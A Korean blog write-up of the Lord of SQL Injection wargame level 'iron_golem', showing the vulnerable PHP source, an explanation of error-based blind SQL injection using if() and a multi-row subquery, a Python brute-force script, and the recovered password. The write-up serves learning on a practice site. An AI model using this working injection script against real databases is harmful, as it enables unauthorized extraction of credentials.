LOS #21 iron_golem
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
Query
select id from prob_iron_golem where id='admin' and pw=''
Write-up
문제를 통해 얻을 수 있는 정보는 다음과 같다.
- select하는 row는 1개다.
- sleep, benchmark를 필터링하므로 시간차를 통해 참/거짓을 확인하기 어렵다.
- DB상의 pw와 입력한 pw를 비교하여 일치해야 하므로 정확한 pw 값을 입력해야 한다.
pw 값을 정확히 알아내야 하는데, 이전 문제들과 다르게 row를 가져왔을 때 "hello"와 같은 문자열을 출력해주지 않는다. 다만, 에러가 발생하면 아래와 같이 에러페이지를 보여준다. 에러를 이용해서 참/거짓을 확인할 수 있다.
mysql if() 함수를 사용하면, 비교문이 참일 때와 거짓일 때 다른 결과를 출력할 수 있다. 거짓일 경우 에러를 발생하는 값을 출력하면 문제 페이지에서 에러가 발생하므로 이를 통해 pw 값을 알아낼 수 있겠다.
* mysql if() Function
MySQL IF() Function
MySQL IF() Function ❮ MySQL Functions Example Return "YES" if the condition is TRUE, or "NO" if the condition is FALSE: SELECT IF(500<1000, "YES", "NO"); Try it Yourself » Definition and Usage The IF() function returns a value if a condition is TRUE, or
www.w3schools.com
mysql db에 테스트용으로 테이블을 구성하여 if문의 기능을 테스트하였다. 위와 같이 pw 값의 길이를 8로 생성해두었고, 문제 쿼리와 동일하게 쿼리를 작성하였다.
if 함수로 length(pw) 값과 숫자 7, 8을 비교하여 참/거짓일 때의 결과를 보면 거짓일 경우 (select 1 union select 2) 서브 쿼리의 결과가 반환된다.
(select 1 union select 2) 서브쿼리의 반환 결과를 보면 반환되는 row가 2개인 것을 확인할 수 있는데, 이 때문에 문제 페이지에서 에러가 발생한다. 문제에서 사용되는 메인 쿼리는 row 1개를 select하기 때문이다.
비교문이 거짓일 때 반환되는 값(select 1 서브쿼리의 반환 값)을 row 1개로 설정하면 위와 같이 쿼리문이 참이 되어 쿼리문이 실행된다. 이를 통해 python으로 pw 값의 길이를 파악하고 정확한 값을 때려 맞출 수 있다. 코드는 아래와 같다.
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
def GetPwLength(t, s):
for i in range(1, 101):
try:
payload = t + "?pw=' or id='admin' and if(length(pw)=" + str(i) + ", true, (select 1 union select 2))%23"
r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
except Exception as e:
print("GetPwLength() Error...")
print(e)
exit(1)
if "Subquery returns more than 1 row" not in r.text:
return i
def GetPw(t, s, lengthPw):
tmpPw = ""
for i in range(1, lengthPw + 1):
for j in range(48, 128):
try:
payload = t + "?pw=' or id='admin' and if(substr(pw, " + str(i) + ", 1)=\"" + chr(j) + "\", true, (select 1 union select 2))%23"
r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
except Exception as e:
print("GetPw Error...")
print(e)
exit(1)
if "Subquery returns more than 1 row" not in r.text:
tmpPw += chr(j)
break
return tmpPw
if __name__ == "__main__":
t = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
session = "" #세션값
pw = ""
lengthPw = GetPwLength(t, session)
print("Length of Password : %d\n" %(lengthPw))
pw = GetPw(t, session, lengthPw)
print("Password : %s" %(pw))
if문을 통해 에러를 발생시키고 결과적으로 참/거짓을 구분하여 pw 값을 알아낼 수 있었다.
* code
0xe82de/LOS
lord of sql injection. Contribute to 0xe82de/LOS development by creating an account on GitHub.
github.com
Parameter
pw=06b5a6c16e8830475f983cc3a825ee9a
Success
대문자는 소문자로 바꿔주면 된다. mysql에서 대소문자를 구분하지 않기 때문인데, 대소문자를 구분하여 쿼리문을 작성하려면 binary()를 사용하면 된다.
'Wargame > LOS' 카테고리의 다른 글
LOS #23 hell_fire (0) | 2020.12.14 |
---|---|
LOS #22 dark_eyes (0) | 2020.12.09 |
LOS #20 dragon (0) | 2020.10.28 |
LOS #19 xavis (0) | 2020.10.28 |
LOS #18 nightmare (0) | 2020.10.28 |